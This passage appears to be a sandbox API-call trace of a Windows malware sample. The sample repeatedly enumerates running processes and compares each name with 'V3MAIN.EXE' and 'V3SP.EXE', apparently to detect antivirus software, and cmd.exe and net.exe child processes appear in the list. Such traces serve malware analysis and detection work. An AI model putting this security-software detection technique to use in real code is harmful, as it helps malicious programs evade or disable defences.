lpString2="V3MAIN.EXE") returned -1 [0074.548] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x814, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0074.549] lstrcpyW (in: lpString1=0x18f0b0, lpString2="cmd.exe" | out: lpString1="cmd.exe") returned="cmd.exe" [0074.549] lstrlenW (lpString="cmd.exe") returned 7 [0074.549] CharUpperBuffW (in: lpsz="cmd.exe", cchLength=0x7 | out: lpsz="CMD.EXE") returned 0x7 [0074.549] lstrcmpW (lpString1="CMD.EXE", lpString2="V3MAIN.EXE") returned -1 [0074.549] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x898, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0074.549] lstrcpyW (in: lpString1=0x18f0b0, lpString2="conhost.exe" | out: lpString1="conhost.exe") returned="conhost.exe" [0074.549] lstrlenW (lpString="conhost.exe") returned 11 [0074.549] CharUpperBuffW (in: lpsz="conhost.exe", cchLength=0xb | out: lpsz="CONHOST.EXE") returned 0xb [0074.549] lstrcmpW (lpString1="CONHOST.EXE", lpString2="V3MAIN.EXE") returned -1 [0074.549] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x814, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0074.550] lstrcpyW (in: lpString1=0x18f0b0, lpString2="cmd.exe" | out: lpString1="cmd.exe") returned="cmd.exe" [0074.550] lstrlenW (lpString="cmd.exe") returned 7 [0074.550] CharUpperBuffW (in: lpsz="cmd.exe", cchLength=0x7 | out: lpsz="CMD.EXE") returned 0x7 [0074.550] lstrcmpW (lpString1="CMD.EXE", lpString2="V3MAIN.EXE") returned -1 [0074.550] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x944, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0074.550] lstrcpyW (in: lpString1=0x18f0b0, lpString2="conhost.exe" | out: lpString1="conhost.exe") returned="conhost.exe" [0074.550] lstrlenW (lpString="conhost.exe") returned 11 [0074.551] CharUpperBuffW (in: lpsz="conhost.exe", cchLength=0xb | out: lpsz="CONHOST.EXE") returned 0xb [0074.551] lstrcmpW (lpString1="CONHOST.EXE", lpString2="V3MAIN.EXE") returned -1 [0074.551] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x814, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0074.551] lstrcpyW (in: lpString1=0x18f0b0, lpString2="cmd.exe" | out: lpString1="cmd.exe") returned="cmd.exe" [0074.551] lstrlenW (lpString="cmd.exe") returned 7 [0074.551] CharUpperBuffW (in: lpsz="cmd.exe", cchLength=0x7 | out: lpsz="CMD.EXE") returned 0x7 [0074.551] lstrcmpW (lpString1="CMD.EXE", lpString2="V3MAIN.EXE") returned -1 [0074.551] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0074.552] lstrcpyW (in: lpString1=0x18f0b0, lpString2="conhost.exe" | out: lpString1="conhost.exe") returned="conhost.exe" [0074.552] lstrlenW (lpString="conhost.exe") returned 11 [0074.552] CharUpperBuffW (in: lpsz="conhost.exe", cchLength=0xb | out: lpsz="CONHOST.EXE") returned 0xb [0074.552] lstrcmpW (lpString1="CONHOST.EXE", lpString2="V3MAIN.EXE") returned -1 [0074.552] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x814, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0074.552] lstrcpyW (in: lpString1=0x18f0b0, lpString2="cmd.exe" | out: lpString1="cmd.exe") returned="cmd.exe" [0074.552] lstrlenW (lpString="cmd.exe") returned 7 [0074.552] CharUpperBuffW (in: lpsz="cmd.exe", cchLength=0x7 | out: lpsz="CMD.EXE") returned 0x7 [0074.552] lstrcmpW (lpString1="CMD.EXE", lpString2="V3MAIN.EXE") returned -1 [0074.552] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb84, pcPriClassBase=8, dwFlags=0x0, szExeFile="net.exe")) returned 1 [0074.553] lstrcpyW (in: lpString1=0x18f0b0, lpString2="net.exe" | out: lpString1="net.exe") returned="net.exe" [0074.553] lstrlenW (lpString="net.exe") returned 7 [0074.553] CharUpperBuffW (in: lpsz="net.exe", cchLength=0x7 | out: lpsz="NET.EXE") returned 0x7 [0074.553] lstrcmpW (lpString1="NET.EXE", lpString2="V3MAIN.EXE") returned -1 [0074.553] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0074.553] lstrcpyW (in: lpString1=0x18f0b0, lpString2="conhost.exe" | out: lpString1="conhost.exe") returned="conhost.exe" [0074.553] lstrlenW (lpString="conhost.exe") returned 11 [0074.553] CharUpperBuffW (in: lpsz="conhost.exe", cchLength=0xb | out: lpsz="CONHOST.EXE") returned 0xb [0074.553] lstrcmpW (lpString1="CONHOST.EXE", lpString2="V3MAIN.EXE") returned -1 [0074.553] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x540, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xbac, pcPriClassBase=8, dwFlags=0x0, szExeFile="net.exe")) returned 1 [0074.554] lstrcpyW (in: lpString1=0x18f0b0, lpString2="net.exe" | out: lpString1="net.exe") returned="net.exe" [0074.554] lstrlenW (lpString="net.exe") returned 7 [0074.554] CharUpperBuffW (in: lpsz="net.exe", cchLength=0x7 | out: lpsz="NET.EXE") returned 0x7 [0074.554] lstrcmpW (lpString1="NET.EXE", lpString2="V3MAIN.EXE") returned -1 [0074.554] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x540, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xbac, pcPriClassBase=8, dwFlags=0x0, szExeFile="net.exe")) returned 0 [0074.554] CloseHandle (hObject=0x118) returned 1 [0074.554] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x118 [0074.556] lstrcpyW (in: lpString1=0x18eea8, lpString2="V3SP.exe" | out: lpString1="V3SP.exe") returned="V3SP.exe" [0074.556] lstrlenW (lpString="V3SP.exe") returned 8 [0074.556] CharUpperBuffW (in: lpsz="V3SP.exe", cchLength=0x8 | out: lpsz="V3SP.EXE") returned 0x8 [0074.556] Process32FirstW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0074.556] lstrcpyW (in: lpString1=0x18f0b0, lpString2="[System Process]" | out: lpString1="[System Process]") returned="[System Process]" [0074.556] lstrlenW (lpString="[System Process]") returned 16 [0074.556] CharUpperBuffW (in: lpsz="[System Process]", cchLength=0x10 | out: lpsz="[SYSTEM PROCESS]") returned 0x10 [0074.556] lstrcmpW (lpString1="[SYSTEM PROCESS]", lpString2="V3SP.EXE") returned -1 [0074.556] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x54, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0074.557] lstrcpyW (in: lpString1=0x18f0b0, lpString2="System" | out: lpString1="System") returned="System" [0074.557] lstrlenW (lpString="System") returned 6 [0074.557] CharUpperBuffW (in: lpsz="System", cchLength=0x6 | out: lpsz="SYSTEM") returned 0x6 [0074.557] lstrcmpW (lpString1="SYSTEM", lpString2="V3SP.EXE") returned -1 [0074.557] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0074.557] lstrcpyW (in: lpString1=0x18f0b0, lpString2="smss.exe" | out: lpString1="smss.exe") returned="smss.exe" [0074.557] lstrlenW (lpString="smss.exe") returned 8 [0074.557] CharUpperBuffW (in: lpsz="smss.exe", cchLength=0x8 | out: lpsz="SMSS.EXE") returned 0x8 [0074.557] lstrcmpW (lpString1="SMSS.EXE", lpString2="V3SP.EXE") returned -1 [0074.557] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0074.558] lstrcpyW (in: lpString1=0x18f0b0, lpString2="csrss.exe" | out: lpString1="csrss.exe") returned="csrss.exe" [0074.558] lstrlenW (lpString="csrss.exe") returned 9 [0074.558] CharUpperBuffW (in: lpsz="csrss.exe", cchLength=0x9 | out: lpsz="CSRSS.EXE") returned 0x9 [0074.558] lstrcmpW (lpString1="CSRSS.EXE", lpString2="V3SP.EXE") returned -1 [0074.558] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0074.558] lstrcpyW (in: lpString1=0x18f0b0, lpString2="wininit.exe" | out: lpString1="wininit.exe") returned="wininit.exe" [0074.558] lstrlenW (lpString="wininit.exe") returned 11 [0074.559] CharUpperBuffW (in: lpsz="wininit.exe", cchLength=0xb | out: lpsz="WININIT.EXE") returned 0xb [0074.559] lstrcmpW (lpString1="WININIT.EXE", lpString2="V3SP.EXE") returned 1 [0074.559] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0074.559] lstrcpyW (in: lpString1=0x18f0b0, lpString2="csrss.exe" | out: lpString1="csrss.exe") returned="csrss.exe" [0074.559] lstrlenW (lpString="csrss.exe") returned 9 [0074.559] CharUpperBuffW (in: lpsz="csrss.exe", cchLength=0x9 | out: lpsz="CSRSS.EXE") returned 0x9 [0074.559] lstrcmpW (lpString1="CSRSS.EXE", lpString2="V3SP.EXE") returned -1 [0074.559] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0074.559] lstrcpyW (in: lpString1=0x18f0b0, lpString2="winlogon.exe" | out: lpString1="winlogon.exe") returned="winlogon.exe" [0074.559] lstrlenW (lpString="winlogon.exe") returned 12 [0074.559] CharUpperBuffW (in: lpsz="winlogon.exe", cchLength=0xc | out: lpsz="WINLOGON.EXE") returned 0xc [0074.560] lstrcmpW (lpString1="WINLOGON.EXE", lpString2="V3SP.EXE") returned 1 [0074.560] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0074.560] lstrcpyW (in: lpString1=0x18f0b0, lpString2="services.exe" | out: lpString1="services.exe") returned="services.exe" [0074.560] lstrlenW (lpString="services.exe") returned 12 [0074.560] CharUpperBuffW (in: lpsz="services.exe", cchLength=0xc | out: lpsz="SERVICES.EXE") returned 0xc [0074.560] lstrcmpW (lpString1="SERVICES.EXE", lpString2="V3SP.EXE") returned -1 [0074.560] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0074.560] lstrcpyW (in: lpString1=0x18f0b0, lpString2="lsass.exe" | out: lpString1="lsass.exe") returned="lsass.exe" [0074.560] lstrlenW (lpString="lsass.exe") returned 9 [0074.560] CharUpperBuffW (in: lpsz="lsass.exe", cchLength=0x9 | out: lpsz="LSASS.EXE") returned 0x9 [0074.560] lstrcmpW (lpString1="LSASS.EXE", lpString2="V3SP.EXE") returned -1 [0074.560] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0074.561] lstrcpyW (in: lpString1=0x18f0b0, lpString2="lsm.exe" | out: lpString1="lsm.exe") returned="lsm.exe" [0074.561] lstrlenW (lpString="lsm.exe") returned 7 [0074.561] CharUpperBuffW (in: lpsz="lsm.exe", cchLength=0x7 | out: lpsz="LSM.EXE") returned 0x7 [0074.561] lstrcmpW (lpString1="LSM.EXE", lpString2="V3SP.EXE") returned -1 [0074.561] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0074.561] lstrcpyW (in: lpString1=0x18f0b0, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0074.561] lstrlenW (lpString="svchost.exe") returned 11 [0074.561] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0074.561] lstrcmpW (lpString1="SVCHOST.EXE", lpString2="V3SP.EXE") returned -1 [0074.561] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0074.562] lstrcpyW (in: lpString1=0x18f0b0, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0074.562] lstrlenW (lpString="svchost.exe") returned 11 [0074.562] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0074.562] lstrcmpW (lpString1="SVCHOST.EXE", lpString2="V3SP.EXE") returned -1 [0074.562] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0074.562] lstrcpyW (in: lpString1=0x18f0b0, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0074.562] lstrlenW (lpString="svchost.exe") returned 11 [0074.562] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0074.562] lstrcmpW (lpString1="SVCHOST.EXE", lpString2="V3SP.EXE") returned -1 [0074.562] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0074.563] lstrcpyW (in: lpString1=0x18f0b0, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0074.563] lstrlenW (lpString="svchost.exe") returned 11 [0074.563] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0074.563] lstrcmpW (lpString1="SVCHOST.EXE", lpString2="V3SP.EXE") returned -1 [0074.563] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0074.563] lstrcpyW (in: lpString1=0x18f0b0, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0074.563] lstrlenW (lpString="svchost.exe") returned 11 [0074.563] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0074.563] lstrcmpW (lpString1="SVCHOST.EXE", lpString2="V3SP.EXE") returned -1 [0074.563] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0074.564] lstrcpyW (in: lpString1=0x18f0b0, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0074.564] lstrlenW (lpString="svchost.exe") returned 11 [0074.564] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0074.564] lstrcmpW (lpString1="SVCHOST.EXE", lpString2="V3SP.EXE") returned -1 [0074.564] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0074.564] lstrcpyW (in: lpString1=0x18f0b0, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0074.564] lstrlenW (lpString="svchost.exe") returned 11 [0074.564] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0074.564] lstrcmpW (lpString1="SVCHOST.EXE", lpString2="V3SP.EXE") returned -1 [0074.564] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x44c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0074.565] lstrcpyW (in: lpString1=0x18f0b0, lpString2="spoolsv.exe" | out: lpString1="spoolsv.exe") returned="spoolsv.exe" [0074.565] lstrlenW (lpString="spoolsv.exe") returned 11 [0074.565] CharUpperBuffW (in: lpsz="spoolsv.exe", cchLength=0xb | out: lpsz="SPOOLSV.EXE") returned 0xb [0074.565] lstrcmpW (lpString1="SPOOLSV.EXE", lpString2="V3SP.EXE") returned -1 [0074.565] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0074.565] lstrcpyW (in: lpString1=0x18f0b0, lpString2="taskhost.exe" | out: lpString1="taskhost.exe") returned="taskhost.exe" [0074.565] lstrlenW (lpString="taskhost.exe") returned 12 [0074.565] CharUpperBuffW (in: lpsz="taskhost.exe", cchLength=0xc | out: lpsz="TASKHOST.EXE") returned 0xc [0074.565] lstrcmpW (lpString1="TASKHOST.EXE", lpString2="V3SP.EXE") returned -1 [0074.565] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0074.566] lstrcpyW (in: lpString1=0x18f0b0, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0074.566] lstrlenW (lpString="svchost.exe") returned 11 [0074.566] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0074.566] lstrcmpW (lpString1="SVCHOST.EXE", lpString2="V3SP.EXE") returned -1 [0074.566] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0074.566] lstrcpyW (in: lpString1=0x18f0b0, lpString2="taskeng.exe" | out: lpString1="taskeng.exe") returned="taskeng.exe" [0074.566] lstrlenW (lpString="taskeng.exe") returned 11 [0074.566] CharUpperBuffW (in: lpsz="taskeng.exe", cchLength=0xb | out: lpsz="TASKENG.EXE") returned 0xb [0074.566] lstrcmpW (lpString1="TASKENG.EXE", lpString2="V3SP.EXE") returned -1 [0074.566] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0074.567] lstrcpyW (in: lpString1=0x18f0b0, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0074.567] lstrlenW (lpString="svchost.exe") returned 11 [0074.567] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0074.567] lstrcmpW (lpString1="SVCHOST.EXE", lpString2="V3SP.EXE") returned -1 [0074.567] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0074.567] lstrcpyW (in: lpString1=0x18f0b0, lpString2="WmiPrvSE.exe" | out: lpString1="WmiPrvSE.exe") returned="WmiPrvSE.exe" [0074.567] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0074.567] CharUpperBuffW (in: lpsz="WmiPrvSE.exe", cchLength=0xc | out: lpsz="WMIPRVSE.EXE") returned 0xc [0074.567] lstrcmpW (lpString1="WMIPRVSE.EXE", lpString2="V3SP.EXE") returned 1 [0074.567] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x61c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0074.568] lstrcpyW (in: lpString1=0x18f0b0, lpString2="sppsvc.exe" | out: lpString1="sppsvc.exe") returned="sppsvc.exe" [0074.568] lstrlenW (lpString="sppsvc.exe") returned 10 [0074.568] CharUpperBuffW (in: lpsz="sppsvc.exe", cchLength=0xa | out: lpsz="SPPSVC.EXE") returned 0xa [0074.568] lstrcmpW (lpString1="SPPSVC.EXE", lpString2="V3SP.EXE") returned -1 [0074.568] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x318, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0074.568] lstrcpyW (in: lpString1=0x18f0b0, lpString2="dwm.exe" | out: lpString1="dwm.exe") returned="dwm.exe" [0074.568] lstrlenW (lpString="dwm.exe") returned 7 [0074.568] CharUpperBuffW (in: lpsz="dwm.exe", cchLength=0x7 | out: lpsz="DWM.EXE") returned 0x7 [0074.568] lstrcmpW (lpString1="DWM.EXE", lpString2="V3SP.EXE") returned -1 [0074.568] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x414, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0074.569] lstrcpyW (in: lpString1=0x18f0b0, lpString2="explorer.exe" | out: lpString1="explorer.exe") returned="explorer.exe" [0074.569] lstrlenW (lpString="explorer.exe") returned 12 [0074.569] CharUpperBuffW (in: lpsz="explorer.exe", cchLength=0xc | out: lpsz="EXPLORER.EXE") returned 0xc [0074.569] lstrcmpW (lpString1="EXPLORER.EXE", lpString2="V3SP.EXE") returned -1 [0074.569] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0074.569] lstrcpyW (in: lpString1=0x18f0b0, lpString2="audiodg.exe" | out: lpString1="audiodg.exe") returned="audiodg.exe" [0074.569] lstrlenW (lpString="audiodg.exe") returned 11 [0074.569] CharUpperBuffW (in: lpsz="audiodg.exe", cchLength=0xb | out: lpsz="AUDIODG.EXE") returned 0xb [0074.569] lstrcmpW (lpString1="AUDIODG.EXE", lpString2="V3SP.EXE") returned -1 [0074.569] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0074.570] lstrcpyW (in: lpString1=0x18f0b0, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0074.570] lstrlenW (lpString="svchost.exe") returned 11 [0074.570] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0074.570] lstrcmpW 